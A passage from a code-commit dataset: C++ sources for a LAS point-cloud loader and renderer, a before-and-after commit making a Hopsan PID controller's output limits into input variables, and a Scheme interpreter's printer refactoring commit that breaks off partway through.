m_offset(0),\n m_bbox(),\n m_centroid(0),\n m_buckets()\n{ }\n\nPointArray::~PointArray()\n{ }\n\nstruct PointArray::Bucket\n{\n V3f centroid;\n size_t beginIndex;\n size_t endIndex;\n\n Bucket(V3f centroid, size_t beginIndex, size_t endIndex)\n : centroid(centroid),\n beginIndex(beginIndex),\n endIndex(endIndex)\n { }\n};\n\n\ntemplate<typename T>\nvoid reorderArray(std::unique_ptr<T[]>& data, const size_t* inds, size_t size)\n{\n if (!data)\n return;\n std::unique_ptr<T[]> tmpData(new T[size]);\n for (size_t i = 0; i < size; ++i)\n tmpData[i] = data[inds[i]];\n data.swap(tmpData);\n}\n\n\nbool PointArray::loadPointFile(QString fileName, size_t maxPointCount)\n{\n m_fileName = fileName;\n LASreadOpener lasReadOpener;\n#ifdef _WIN32\n \/\/ Hack: liblas doesn't like forward slashes as path separators on windows\n fileName = fileName.replace('\/', '\\\\');\n#endif\n lasReadOpener.set_file_name(fileName.toAscii().constData());\n std::unique_ptr<LASreader> lasReader(lasReadOpener.open());\n\n if(!lasReader)\n {\n QMessageBox::critical(0, tr(\"Error\"),\n tr(\"Couldn't open file \\\"%1\\\"\").arg(fileName));\n return false;\n }\n\n emit loadStepStarted(\"Reading file\");\n \/\/ Figure out how much to decimate the point cloud.\n size_t totPoints = lasReader->header.number_of_point_records;\n size_t decimate = (totPoints + maxPointCount - 1) \/ maxPointCount;\n if(decimate > 1)\n tfm::printf(\"Decimating \\\"%s\\\" by factor of %d\\n\", fileName.toStdString(), decimate);\n m_npoints = (totPoints + decimate - 1) \/ decimate;\n m_offset = V3d(lasReader->header.min_x, lasReader->header.min_y,\n lasReader->header.min_z);\n m_P.reset(new V3f[m_npoints]);\n m_intensity.reset(new float[m_npoints]);\n m_returnIndex.reset(new unsigned char[m_npoints]);\n m_numberOfReturns.reset(new unsigned char[m_npoints]);\n m_pointSourceId.reset(new unsigned char[m_npoints]);\n m_bbox.makeEmpty();\n \/\/ Iterate over all points & pull in the data.\n V3f* outP = m_P.get();\n float* outIntens = m_intensity.get();\n unsigned char* returnIndex = m_returnIndex.get();\n unsigned char* numReturns = m_numberOfReturns.get();\n unsigned char* pointSourceId = m_pointSourceId.get();\n size_t readCount = 0;\n size_t nextBlock = 1;\n size_t nextStore = 1;\n V3d Psum(0);\n if (!lasReader->read_point())\n return false;\n const LASpoint& point = lasReader->point;\n if (point.have_rgb)\n m_color.reset(new C3f[m_npoints]);\n V3f* outCol = m_color.get();\n do\n {\n \/\/ Read a point from the las file\n ++readCount;\n if(readCount % 10000 == 0)\n emit pointsLoaded(100*readCount\/totPoints);\n V3d P = V3d(point.get_x(), point.get_y(), point.get_z());\n m_bbox.extendBy(P);\n Psum += P;\n if(readCount < nextStore)\n continue;\n \/\/ Store the point\n *outP++ = P - m_offset;\n \/\/ float intens = float(point.scan_angle_rank) \/ 40;\n *outIntens++ = point.intensity;\n *returnIndex++ = point.return_number;\n *numReturns++ = point.number_of_returns_of_given_pulse;\n *pointSourceId++ = point.point_source_ID;\n \/\/ Extract point RGB\n if (outCol)\n *outCol++ = (1.0f\/USHRT_MAX) * C3f(point.rgb[0], point.rgb[1], point.rgb[2]);\n \/\/ Figure out which point will be the next stored point.\n nextBlock += decimate;\n nextStore = nextBlock;\n if(decimate > 1)\n {\n \/\/ Randomize selected point within block to avoid repeated patterns\n nextStore += (qrand() % decimate);\n if(nextBlock <= totPoints && nextStore > totPoints)\n nextStore = totPoints;\n }\n }\n while(lasReader->read_point());\n emit pointsLoaded(100);\n m_centroid = (1.0\/totPoints) * Psum;\n lasReader->close();\n tfm::printf(\"Displaying %d of %d points from file %s\\n\", m_npoints,\n totPoints, fileName.toStdString());\n\n emit loadStepStarted(\"Bucketing points\");\n typedef std::unordered_map<std::pair<int,int>, std::vector<size_t> > IndexMap;\n float invBucketSize = 1\/m_bucketWidth;\n IndexMap buckets;\n for (size_t i = 0; i < m_npoints; ++i)\n {\n int x = (int)floor(m_P[i].x*invBucketSize);\n int y = (int)floor(m_P[i].y*invBucketSize);\n buckets[std::make_pair(x,y)].push_back(i);\n if(i % 100000 == 0)\n emit pointsLoaded(100*i\/m_npoints);\n }\n\n \/\/emit loadStepStarted(\"Shuffling buckets\");\n std::unique_ptr<size_t[]> inds(new size_t[m_npoints]);\n size_t idx = 0;\n m_buckets.clear();\n m_buckets.reserve(buckets.size() + 1);\n for (IndexMap::iterator b = buckets.begin(); b != buckets.end(); ++b)\n {\n size_t startIdx = idx;\n std::vector<size_t>& bucketInds = b->second;\n V3f centroid(0);\n \/\/ Random shuffle so that choosing an initial sequence will correspond\n \/\/ to a stochastic simplification of the bucket. TODO: Use a\n \/\/ quasirandom shuffling method for better visual properties.\n std::random_shuffle(bucketInds.begin(), bucketInds.end());\n for (size_t i = 0, iend = bucketInds.size(); i < iend; ++i, ++idx)\n {\n inds[idx] = bucketInds[i];\n centroid += m_P[inds[idx]];\n }\n centroid *= 1.0f\/(idx - startIdx);\n m_buckets.push_back(Bucket(centroid, startIdx, idx));\n }\n reorderArray(m_P, inds.get(), m_npoints);\n reorderArray(m_color, inds.get(), m_npoints);\n reorderArray(m_intensity, inds.get(), m_npoints);\n reorderArray(m_returnIndex, inds.get(), m_npoints);\n reorderArray(m_numberOfReturns, inds.get(), m_npoints);\n reorderArray(m_pointSourceId, inds.get(), m_npoints);\n return true;\n}\n\n\nsize_t PointArray::closestPoint(V3d pos, V3f N,\n double normalDirectionScale,\n double* distance) const\n{\n pos -= m_offset;\n N.normalize();\n const V3f* P = m_P.get();\n size_t nearestIdx = -1;\n double nearestDist2 = DBL_MAX;\n double f = normalDirectionScale*normalDirectionScale;\n for(size_t i = 0; i < m_npoints; ++i, ++P)\n {\n V3f v = pos - *P;\n float distN = N.dot(v);\n float distNperp = (v - distN*N).length2();\n float d = f*distN*distN + distNperp;\n \/\/float d = (pos - *P).length2();\n if(d < nearestDist2)\n {\n nearestDist2 = d;\n nearestIdx = i;\n }\n }\n if(distance)\n *distance = sqrt(nearestDist2);\n return nearestIdx;\n}\n\n\nvoid PointArray::draw(QGLShaderProgram& prog, const V3d& cameraPos,\n double quality) const\n{\n prog.enableAttributeArray(\"position\");\n prog.enableAttributeArray(\"intensity\");\n prog.enableAttributeArray(\"returnIndex\");\n prog.enableAttributeArray(\"numberOfReturns\");\n prog.enableAttributeArray(\"pointSourceId\");\n if (m_color)\n prog.enableAttributeArray(\"color\");\n else\n {\n prog.disableAttributeArray(\"color\");\n prog.setAttributeValue(\"color\", 0.0f, 0.0f, 0.0f);\n }\n\n \/\/ Draw points in each bucket, with total number drawn depending on how far\n \/\/ away the bucket is. Since the points are shuffled, this corresponds to\n \/\/ a stochastic simplification of the full point cloud.\n size_t totDraw = 0;\n for (size_t bucketIdx = 0; bucketIdx < m_buckets.size(); ++bucketIdx)\n {\n const Bucket& bucket = m_buckets[bucketIdx];\n size_t b = bucket.beginIndex;\n prog.setAttributeArray(\"position\", (const GLfloat*)(m_P.get() + b), 3);\n prog.setAttributeArray(\"intensity\", m_intensity.get() + b, 1);\n prog.setAttributeArray(\"returnIndex\", GL_UNSIGNED_BYTE, m_returnIndex.get() + b, 1);\n prog.setAttributeArray(\"numberOfReturns\", GL_UNSIGNED_BYTE, m_numberOfReturns.get() + b, 1);\n prog.setAttributeArray(\"pointSourceId\", GL_UNSIGNED_BYTE, m_pointSourceId.get() + b, 1);\n if (m_color)\n prog.setAttributeArray(\"color\", (const GLfloat*)(m_color.get() + b), 3);\n \/\/ Compute the desired fraction of points for this bucket.\n \/\/\n \/\/ The desired fraction is chosen to keep linear density constant -\n \/\/ this looks better than keeping the density per area constant.\n float dist = (bucket.centroid + m_offset - cameraPos).length();\n double desiredFraction = quality <= 0 ? 1 : quality * (m_bucketWidth) \/ (dist);\n size_t ndraw = bucket.endIndex - bucket.beginIndex;\n float lodMultiplier = 1;\n if (desiredFraction < 1)\n {\n ndraw = (size_t) (ndraw*desiredFraction);\n lodMultiplier = (float)(1\/desiredFraction);\n }\n prog.setUniformValue(\"pointSizeLodMultiplier\", lodMultiplier);\n glDrawArrays(GL_POINTS, 0, ndraw);\n totDraw += ndraw;\n }\n \/\/tfm::printf(\"Drew %.2f%% of total points\\n\", double(totDraw)\/m_npoints);\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef SIGNALPID_HPP_INCLUDED\r\n#define SIGNALPID_HPP_INCLUDED\r\n\r\n#include <iostream>\r\n#include \"ComponentEssentials.h\"\r\n#include \"ComponentUtilities.h\"\r\n#include \"math.h\"\r\n\r\n\/\/!\r\n\/\/! @file \\\r\nC:\\HopsanTrunk\\HOPSAN++\\componentLibraries\\defaultLibrary\\Signal\\Control\\Sign\\\r\nalPID.hpp\r\n\/\/! @author Petter Krus <petter.krus@liu.se>\r\n\/\/! @date Wed 23 Oct 2013 10:31:05\r\n\/\/! @brief Differential PID controller\r\n\/\/! @ingroup SignalComponents\r\n\/\/!\r\n\/\/==This code has been autogenerated using Compgen==\r\n\/\/from \r\n\/*{, C:, HopsanTrunk, HOPSAN++, CompgenModels}\/SignalControlComponents.nb*\/\r\n\r\nusing namespace hopsan;\r\n\r\nclass SignalPID : public ComponentSignal\r\n{\r\nprivate:\r\n double umin;\r\n double umax;\r\n double delayParts1[9];\r\n double delayParts2[9];\r\n double delayParts3[9];\r\n double delayParts4[9];\r\n Matrix jacobianMatrix;\r\n Vec systemEquations;\r\n Matrix delayedPart;\r\n int i;\r\n int iter;\r\n int mNoiter;\r\n double jsyseqnweight[4];\r\n int order[3];\r\n int mNstep;\r\n\/\/==This code has been autogenerated using Compgen==\r\n \/\/inputVariables\r\n double yref;\r\n double y;\r\n double dy;\r\n double Kp;\r\n double KI;\r\n double Kd;\r\n \/\/outputVariables\r\n double u;\r\n double Ierr;\r\n double uI;\r\n \/\/Delay declarations\r\n\/\/==This code has been autogenerated using Compgen==\r\n \/\/inputVariables pointers\r\n double *mpyref;\r\n double *mpy;\r\n double *mpdy;\r\n double *mpKp;\r\n double *mpKI;\r\n double *mpKd;\r\n \/\/outputVariables pointers\r\n double *mpu;\r\n double *mpIerr;\r\n double *mpuI;\r\n Delay mDelayedPart10;\r\n Delay mDelayedPart20;\r\n Delay mDelayedPart30;\r\n Delay mDelayedPart31;\r\n EquationSystemSolver *mpSolver;\r\n\r\npublic:\r\n static Component *Creator()\r\n {\r\n return new SignalPID();\r\n }\r\n\r\n void configure()\r\n {\r\n\/\/==This code has been autogenerated using Compgen==\r\n\r\n mNstep=9;\r\n jacobianMatrix.create(3,3);\r\n systemEquations.create(3);\r\n delayedPart.create(4,6);\r\n mNoiter=2;\r\n jsyseqnweight[0]=1;\r\n jsyseqnweight[1]=0.67;\r\n jsyseqnweight[2]=0.5;\r\n jsyseqnweight[3]=0.5;\r\n\r\n\r\n \/\/Add ports to the component\r\n \/\/Add inputVariables to the component\r\n addInputVariable(\"yref\",\"Reference value\",\"\",0.,&mpyref);\r\n addInputVariable(\"y\",\"Actual value\",\"\",0.,&mpy);\r\n addInputVariable(\"dy\",\"Differential of actual \\\r\nvalue\",\"\",0.,&mpdy);\r\n addInputVariable(\"Kp\",\"Proportional gain\",\"\",1.,&mpKp);\r\n addInputVariable(\"KI\",\"Integral gain\",\"\",1.,&mpKI);\r\n addInputVariable(\"Kd\",\"Differential gain\",\"\",1.,&mpKd);\r\n\r\n \/\/Add outputVariables to the component\r\n addOutputVariable(\"u\",\"control signal\",\"\",0.,&mpu);\r\n addOutputVariable(\"Ierr\",\"limited error\",\"\",0.,&mpIerr);\r\n addOutputVariable(\"uI\",\"control signal from integral \\\r\npart\",\"\",0.,&mpuI);\r\n\r\n\/\/==This code has been autogenerated using Compgen==\r\n \/\/Add constants\/parameters\r\n addConstant(\"umin\", \"Minium output signal\", \"\", -1.,umin);\r\n addConstant(\"umax\", \"Maximum output signal\", \"\", 1.,umax);\r\n mpSolver = new EquationSystemSolver(this,3);\r\n }\r\n\r\n void initialize()\r\n {\r\n \/\/Read port variable pointers from nodes\r\n\r\n \/\/Read variables from nodes\r\n\r\n \/\/Read inputVariables from nodes\r\n yref = (*mpyref);\r\n y = (*mpy);\r\n dy = (*mpdy);\r\n Kp = (*mpKp);\r\n KI = (*mpKI);\r\n Kd = (*mpKd);\r\n\r\n \/\/Read outputVariables from nodes\r\n u = (*mpu);\r\n Ierr = (*mpIerr);\r\n uI = (*mpuI);\r\n\r\n\/\/==This code has been autogenerated using Compgen==\r\n\r\n\r\n \/\/Initialize delays\r\n delayParts3[1] = (-(Ierr*KI*mTimestep) - 2*uI)\/2.;\r\n mDelayedPart31.initialize(mNstep,delayParts3[1]);\r\n\r\n delayedPart[1][1] = delayParts1[1];\r\n delayedPart[2][1] = delayParts2[1];\r\n delayedPart[3][1] = delayParts3[1];\r\n }\r\n void simulateOneTimestep()\r\n {\r\n Vec stateVar(3);\r\n Vec stateVark(3);\r\n Vec deltaStateVar(3);\r\n\r\n \/\/Read variables from nodes\r\n\r\n \/\/Read inputVariables from nodes\r\n yref = (*mpyref);\r\n y = (*mpy);\r\n dy = (*mpdy);\r\n Kp = (*mpKp);\r\n KI = (*mpKI);\r\n Kd = (*mpKd);\r\n\r\n \/\/LocalExpressions\r\n\r\n \/\/Initializing variable vector for Newton-Raphson\r\n stateVark[0] = u;\r\n stateVark[1] = Ierr;\r\n stateVark[2] = uI;\r\n\r\n \/\/Iterative solution using Newton-Rapshson\r\n for(iter=1;iter<=mNoiter;iter++)\r\n {\r\n \/\/PID\r\n \/\/Differential-algebraic system of equation parts\r\n\r\n \/\/Assemble differential-algebraic equations\r\n systemEquations[0] =u - limit(-(dy*Kd) + uI + Kp*(-y + \\\r\nyref),umin,umax);\r\n systemEquations[1] =Ierr - (-y + yref)*dxLimit(limit(-(dy*Kd) + uI \\\r\n+ Kp*(-y + yref),umin,umax),umin,umax);\r\n systemEquations[2] =-(Ierr*KI*mTimestep)\/2. + uI + \\\r\ndelayedPart[3][1];\r\n\r\n \/\/Jacobian matrix\r\n jacobianMatrix[0][0] = 1;\r\n jacobianMatrix[0][1] = 0;\r\n jacobianMatrix[0][2] = -dxLimit(-(dy*Kd) + uI + Kp*(-y + \\\r\nyref),umin,umax);\r\n jacobianMatrix[1][0] = 0;\r\n jacobianMatrix[1][1] = 1;\r\n jacobianMatrix[1][2] = 0;\r\n jacobianMatrix[2][0] = 0;\r\n jacobianMatrix[2][1] = -(KI*mTimestep)\/2.;\r\n jacobianMatrix[2][2] = 1;\r\n\/\/==This code has been autogenerated using Compgen==\r\n\r\n \/\/Solving equation using LU-faktorisation\r\n mpSolver->solve(jacobianMatrix, systemEquations, stateVark, iter);\r\n u=stateVark[0];\r\n Ierr=stateVark[1];\r\n uI=stateVark[2];\r\n }\r\n\r\n \/\/Calculate the delayed parts\r\n delayParts3[1] = (-(Ierr*KI*mTimestep) - 2*uI)\/2.;\r\n\r\n delayedPart[1][1] = delayParts1[1];\r\n delayedPart[2][1] = delayParts2[1];\r\n delayedPart[3][1] = delayParts3[1];\r\n\r\n \/\/Write new values to nodes\r\n \/\/outputVariables\r\n (*mpu)=u;\r\n (*mpIerr)=Ierr;\r\n (*mpuI)=uI;\r\n\r\n \/\/Update the delayed variabels\r\n mDelayedPart31.update(delayParts3[1]);\r\n\r\n }\r\n void deconfigure()\r\n {\r\n delete mpSolver;\r\n }\r\n};\r\n#endif \/\/ SIGNALPID_HPP_INCLUDED\r\n<commit_msg>limits to variables<commit_after>#ifndef SIGNALPID_HPP_INCLUDED\r\n#define SIGNALPID_HPP_INCLUDED\r\n\r\n#include <iostream>\r\n#include \"ComponentEssentials.h\"\r\n#include \"ComponentUtilities.h\"\r\n#include \"math.h\"\r\n\r\n\/\/!\r\n\/\/! @file \\\r\nC:\\HopsanTrunk\\HOPSAN++\\componentLibraries\\defaultLibrary\\Signal\\Control\\Sign\\\r\nalPID.hpp\r\n\/\/! @author Petter Krus <petter.krus@liu.se>\r\n\/\/! @date Wed 23 Oct 2013 11:03:10\r\n\/\/! @brief PID controller\r\n\/\/! @ingroup SignalComponents\r\n\/\/!\r\n\/\/==This code has been autogenerated using Compgen==\r\n\/\/from \r\n\/*{, C:, HopsanTrunk, HOPSAN++, CompgenModels}\/SignalControlComponents.nb*\/\r\n\r\nusing namespace hopsan;\r\n\r\nclass SignalPID : public ComponentSignal\r\n{\r\nprivate:\r\n double delayParts1[9];\r\n double delayParts2[9];\r\n double delayParts3[9];\r\n double delayParts4[9];\r\n Matrix jacobianMatrix;\r\n Vec systemEquations;\r\n Matrix delayedPart;\r\n int i;\r\n int iter;\r\n int mNoiter;\r\n double jsyseqnweight[4];\r\n int order[3];\r\n int mNstep;\r\n\/\/==This code has been autogenerated using Compgen==\r\n \/\/inputVariables\r\n double yref;\r\n double y;\r\n double dy;\r\n double Kp;\r\n double KI;\r\n double Kd;\r\n double umin;\r\n double umax;\r\n \/\/outputVariables\r\n double u;\r\n double Ierr;\r\n double uI;\r\n \/\/Delay declarations\r\n\/\/==This code has been autogenerated using Compgen==\r\n \/\/inputVariables pointers\r\n double *mpyref;\r\n double *mpy;\r\n double *mpdy;\r\n double *mpKp;\r\n double *mpKI;\r\n double *mpKd;\r\n double *mpumin;\r\n double *mpumax;\r\n \/\/outputVariables pointers\r\n double *mpu;\r\n double *mpIerr;\r\n double *mpuI;\r\n Delay mDelayedPart10;\r\n Delay mDelayedPart20;\r\n Delay mDelayedPart30;\r\n Delay mDelayedPart31;\r\n EquationSystemSolver *mpSolver;\r\n\r\npublic:\r\n static Component *Creator()\r\n {\r\n return new SignalPID();\r\n }\r\n\r\n void configure()\r\n {\r\n\/\/==This code has been autogenerated using Compgen==\r\n\r\n mNstep=9;\r\n jacobianMatrix.create(3,3);\r\n systemEquations.create(3);\r\n delayedPart.create(4,6);\r\n mNoiter=2;\r\n jsyseqnweight[0]=1;\r\n jsyseqnweight[1]=0.67;\r\n jsyseqnweight[2]=0.5;\r\n jsyseqnweight[3]=0.5;\r\n\r\n\r\n \/\/Add ports to the component\r\n \/\/Add inputVariables to the component\r\n addInputVariable(\"yref\",\"Reference value\",\"\",0.,&mpyref);\r\n addInputVariable(\"y\",\"Actual value\",\"\",0.,&mpy);\r\n addInputVariable(\"dy\",\"Differential of actual \\\r\nvalue\",\"\",0.,&mpdy);\r\n addInputVariable(\"Kp\",\"Proportional gain\",\"\",1.,&mpKp);\r\n addInputVariable(\"KI\",\"Integral gain\",\"\",1.,&mpKI);\r\n addInputVariable(\"Kd\",\"Differential gain\",\"\",1.,&mpKd);\r\n addInputVariable(\"umin\",\"Minium output signal\",\"\",-1.,&mpumin);\r\n addInputVariable(\"umax\",\"Maximum output signal\",\"\",1.,&mpumax);\r\n\r\n \/\/Add outputVariables to the component\r\n addOutputVariable(\"u\",\"control signal\",\"\",0.,&mpu);\r\n addOutputVariable(\"Ierr\",\"limited error\",\"\",0.,&mpIerr);\r\n addOutputVariable(\"uI\",\"control signal from integral \\\r\npart\",\"\",0.,&mpuI);\r\n\r\n\/\/==This code has been autogenerated using Compgen==\r\n \/\/Add constants\/parameters\r\n mpSolver = new EquationSystemSolver(this,3);\r\n }\r\n\r\n void initialize()\r\n {\r\n \/\/Read port variable pointers from nodes\r\n\r\n \/\/Read variables from nodes\r\n\r\n \/\/Read inputVariables from nodes\r\n yref = (*mpyref);\r\n y = (*mpy);\r\n dy = (*mpdy);\r\n Kp = (*mpKp);\r\n KI = (*mpKI);\r\n Kd = (*mpKd);\r\n umin = (*mpumin);\r\n umax = (*mpumax);\r\n\r\n \/\/Read outputVariables from nodes\r\n u = (*mpu);\r\n Ierr = (*mpIerr);\r\n uI = (*mpuI);\r\n\r\n\/\/==This code has been autogenerated using Compgen==\r\n\r\n\r\n \/\/Initialize delays\r\n delayParts3[1] = (-(Ierr*KI*mTimestep) - 2*uI)\/2.;\r\n mDelayedPart31.initialize(mNstep,delayParts3[1]);\r\n\r\n delayedPart[1][1] = delayParts1[1];\r\n delayedPart[2][1] = delayParts2[1];\r\n delayedPart[3][1] = delayParts3[1];\r\n }\r\n void simulateOneTimestep()\r\n {\r\n Vec stateVar(3);\r\n Vec stateVark(3);\r\n Vec deltaStateVar(3);\r\n\r\n \/\/Read variables from nodes\r\n\r\n \/\/Read inputVariables from nodes\r\n yref = (*mpyref);\r\n y = (*mpy);\r\n dy = (*mpdy);\r\n Kp = (*mpKp);\r\n KI = (*mpKI);\r\n Kd = (*mpKd);\r\n umin = (*mpumin);\r\n umax = (*mpumax);\r\n\r\n \/\/LocalExpressions\r\n\r\n \/\/Initializing variable vector for Newton-Raphson\r\n stateVark[0] = u;\r\n stateVark[1] = Ierr;\r\n stateVark[2] = uI;\r\n\r\n \/\/Iterative solution using Newton-Rapshson\r\n for(iter=1;iter<=mNoiter;iter++)\r\n {\r\n \/\/PID\r\n \/\/Differential-algebraic system of equation parts\r\n\r\n \/\/Assemble differential-algebraic equations\r\n systemEquations[0] =u - limit(-(dy*Kd) + uI + Kp*(-y + \\\r\nyref),umin,umax);\r\n systemEquations[1] =Ierr - (-y + yref)*dxLimit(limit(-(dy*Kd) + uI \\\r\n+ Kp*(-y + yref),umin,umax),umin,umax);\r\n systemEquations[2] =-(Ierr*KI*mTimestep)\/2. + uI + \\\r\ndelayedPart[3][1];\r\n\r\n \/\/Jacobian matrix\r\n jacobianMatrix[0][0] = 1;\r\n jacobianMatrix[0][1] = 0;\r\n jacobianMatrix[0][2] = -dxLimit(-(dy*Kd) + uI + Kp*(-y + \\\r\nyref),umin,umax);\r\n jacobianMatrix[1][0] = 0;\r\n jacobianMatrix[1][1] = 1;\r\n jacobianMatrix[1][2] = 0;\r\n jacobianMatrix[2][0] = 0;\r\n jacobianMatrix[2][1] = -(KI*mTimestep)\/2.;\r\n jacobianMatrix[2][2] = 1;\r\n\/\/==This code has been autogenerated using Compgen==\r\n\r\n \/\/Solving equation using LU-faktorisation\r\n mpSolver->solve(jacobianMatrix, systemEquations, stateVark, iter);\r\n u=stateVark[0];\r\n Ierr=stateVark[1];\r\n uI=stateVark[2];\r\n }\r\n\r\n \/\/Calculate the delayed parts\r\n delayParts3[1] = (-(Ierr*KI*mTimestep) - 2*uI)\/2.;\r\n\r\n delayedPart[1][1] = delayParts1[1];\r\n delayedPart[2][1] = delayParts2[1];\r\n delayedPart[3][1] = delayParts3[1];\r\n\r\n \/\/Write new values to nodes\r\n \/\/outputVariables\r\n (*mpu)=u;\r\n (*mpIerr)=Ierr;\r\n (*mpuI)=uI;\r\n\r\n \/\/Update the delayed variabels\r\n mDelayedPart31.update(delayParts3[1]);\r\n\r\n }\r\n void deconfigure()\r\n {\r\n delete mpSolver;\r\n }\r\n};\r\n#endif \/\/ SIGNALPID_HPP_INCLUDED\r\n<|endoftext|>"} {"text":"<commit_before>#include <cassert>\n#include <ostream>\n\n#include \"cons.hh\"\n#include \"cons_util.hh\"\n#include \"eval.hh\"\n#include \"lisp_ptr.hh\"\n#include \"printer.hh\"\n#include \"procedure.hh\"\n#include \"rational.hh\"\n#include \"symbol.hh\"\n#include \"s_closure.hh\"\n#include \"token.hh\"\n#include \"vm.hh\"\n#include \"zs_error.hh\"\n\nusing namespace std;\n\nnamespace {\n\nvoid print_binary(ostream& f, int i){\n std::string tmp;\n\n while(i > 0){\n auto b = i % 2;\n tmp.push_back(b ? '1' : '0');\n i \/= 2;\n }\n\n std::copy(tmp.rbegin(), tmp.rend(), ostreambuf_iterator<char>(f));\n}\n\nvoid print_integer(ostream& f, int i, int radix){\n if(radix == 10){\n f << i;\n }else{\n auto is_minus = (i < 0);\n auto u = std::abs(i);\n\n switch(radix){\n case 8:\n f << \"#o\";\n if(is_minus) f << '-';\n f << oct << u << dec;\n break;\n case 16:\n f << \"#x\";\n if(is_minus) f << '-';\n f << hex << u << dec;\n break;\n case 2:\n f << \"#b\";\n if(is_minus) f << '-';\n print_binary(f, u);\n break;\n default:\n UNEXP_DEFAULT();\n }\n }\n}\n\nvoid print_vector(ostream& f, const Vector* v, PrintReadable flag){\n auto i = v->begin();\n const auto e = v->end();\n\n f.write(\"#(\", 2);\n\n while(i != e){\n print(f, *i, flag);\n ++i;\n if(i != e)\n f.put(' ');\n }\n\n f.put(')');\n}\n\nvoid print_list(ostream& f, Lisp_ptr l, PrintReadable flag){\n assert(l.tag() == Ptr_tag::cons);\n\n f.put('(');\n\n auto i = begin(l);\n for(; i; ++i){\n print(f, *i, flag);\n if(next(i)) f.put(' ');\n }\n\n if(!nullp(i.base())){\n f.write(\" . \", 3);\n print(f, i.base(), flag);\n }\n\n f.put(')');\n}\n\nvoid print_char(ostream& f, char c, PrintReadable flag){\n if(flag == PrintReadable::t){\n f.put(c);\n }else{\n switch(c){\n case ' ':\n f << \"#\\\\space\";\n break;\n case '\\n':\n f << \"#\\\\newline\";\n break;\n default:\n f.write(\"#\\\\\", 2);\n f.put(c);\n }\n }\n}\n \nvoid print_string(ostream& f, const char* str, PrintReadable flag){\n if(flag == PrintReadable::t){\n f << str;\n }else{\n f.put('\\\"');\n for(auto s = str; *s; ++s){\n switch(*s){\n case '\"':\n f.write(\"\\\\\\\"\", 2);\n break;\n case '\\\\':\n f.write(\"\\\\\\\\\", 2);\n break;\n default:\n f.put(*s);\n }\n }\n f.put('\\\"');\n }\n} \n\n\n} \/\/ namespace\n\nvoid print(ostream& f, Lisp_ptr p, PrintReadable flag, int radix){\n switch(p.tag()){\n case Ptr_tag::undefined:\n f << \"#<undefined>\";\n break;\n \n case Ptr_tag::boolean:\n f << ((p.get<bool>()) ? \"#t\" : \"#f\");\n break;\n\n case Ptr_tag::character:\n print_char(f, p.get<char>(), flag);\n break;\n\n case Ptr_tag::cons:\n print_list(f, p, flag);\n break;\n\n case Ptr_tag::symbol: {\n auto sym = p.get<Symbol*>();\n if(vm.symtable->find(sym->name()) != vm.symtable->end()){\n f << sym->name();\n }else{\n f << \"#<uninterned '\" << sym->name() << \"' \" << reinterpret_cast<void*>(sym) << \">\";\n }\n break;\n }\n\n case Ptr_tag::integer:\n print_integer(f, p.get<int>(), radix);\n break;\n\n case Ptr_tag::rational: {\n auto r = p.get<Rational*>();\n f << r->numerator() << '\/' << r->denominator();\n break;\n }\n\n case Ptr_tag::real:\n f << *p.get<double*>();\n break;\n\n case Ptr_tag::complex: {\n auto z = p.get<Complex*>();\n f << z->real() << showpos << z->imag() << noshowpos;\n }\n break;\n\n case Ptr_tag::string:\n print_string(f, p.get<String*>()->c_str(), flag);\n break;\n\n case Ptr_tag::vector:\n print_vector(f, p.get<Vector*>(), flag);\n break;\n\n case Ptr_tag::syntactic_closure: {\n auto sc = p.get<SyntacticClosure*>();\n if(flag == PrintReadable::t){\n f << \"#<sc [\";\n }\n print(f, sc->expr(), flag);\n if(flag == PrintReadable::t){\n f << \"]>\";\n }\n break;\n }\n\n case Ptr_tag::vm_argcount:\n f << \"#<argcount \" << p.get<int>() << \">\";\n break;\n\n case Ptr_tag::vm_op:\n f << \"#<VMop \" << stringify(p.get<VMop>()) << \">\";\n break;\n\n case Ptr_tag::n_procedure:\n case Ptr_tag::i_procedure:\n case Ptr_tag::continuation:\n case Ptr_tag::syntax_rules:\n f << \"#<procedure [\" << get_procname(p) << \"]>\";\n break;\n\n case Ptr_tag::input_port:\n case Ptr_tag::output_port:\n case Ptr_tag::env:\n f << \"#<\" << stringify(p.tag()) << \" \" << p.get<void*>() << \">\";\n break;\n\n case Ptr_tag::notation:\n f << \"#<\" << stringify(p.tag()) << \" \" << stringify(p.get<Notation>()) << \">\";\n \n default:\n f << \"#<UNKNOWN TYPE \" << static_cast<int>(p.tag()) << \" \" << p.get<void*>() << \">\";\n break;\n }\n}\n\nstd::ostream& operator<<(std::ostream& o, Lisp_ptr p){\n print(o, p, PrintReadable::t);\n return o;\n}\n<commit_msg>refactoring printer<commit_after>#include <cassert>\n#include <ostream>\n\n#include \"cons.hh\"\n#include \"cons_util.hh\"\n#include \"eval.hh\"\n#include \"lisp_ptr.hh\"\n#include \"printer.hh\"\n#include \"procedure.hh\"\n#include \"rational.hh\"\n#include \"symbol.hh\"\n#include \"s_closure.hh\"\n#include \"token.hh\"\n#include \"vm.hh\"\n#include \"zs_error.hh\"\n\nusing namespace std;\n\nnamespace {\n\nvoid print_binary(ostream& f, int i){\n std::string tmp;\n\n while(i > 0){\n auto b = i % 2;\n tmp.push_back(b ? '1' : '0');\n i \/= 2;\n }\n\n std::copy(tmp.rbegin(), tmp.rend(), ostreambuf_iterator<char>(f));\n}\n\nvoid print_integer(ostream& f, int i, int radix){\n if(radix == 10){\n f << i;\n }else{\n auto is_minus = (i < 0);\n auto u = std::abs(i);\n\n switch(radix){\n case 8:\n f << \"#o\";\n if(is_minus) f << '-';\n f << oct << u << dec;\n break;\n case 16:\n f << \"#x\";\n if(is_minus) f << '-';\n f << hex << u << dec;\n break;\n case 2:\n f << \"#b\";\n if(is_minus) f << '-';\n print_binary(f, u);\n break;\n default:\n UNEXP_DEFAULT();\n }\n }\n}\n\nvoid print_vector(ostream& f, const Vector* v, PrintReadable flag){\n auto i = v->begin();\n const auto e = v->end();\n\n f.write(\"#(\", 2);\n\n while(i != e){\n print(f, *i, flag);\n ++i;\n if(i != e)\n f.put(' ');\n }\n\n f.put(')');\n}\n\nvoid print_list(ostream& f, Lisp_ptr l, PrintReadable flag){\n assert(l.tag() == Ptr_tag::cons);\n\n f.put('(');\n\n auto i = begin(l);\n for(; i; ++i){\n print(f, *i, flag);\n if(next(i)) f.put(' ');\n }\n\n if(!nullp(i.base())){\n f.write(\" . \", 3);\n print(f, i.base(), flag);\n }\n\n f.put(')');\n}\n\nvoid print_char(ostream& f, char c, PrintReadable flag){\n if(flag == PrintReadable::t){\n f.put(c);\n }else{\n switch(c){\n case ' ':\n f << 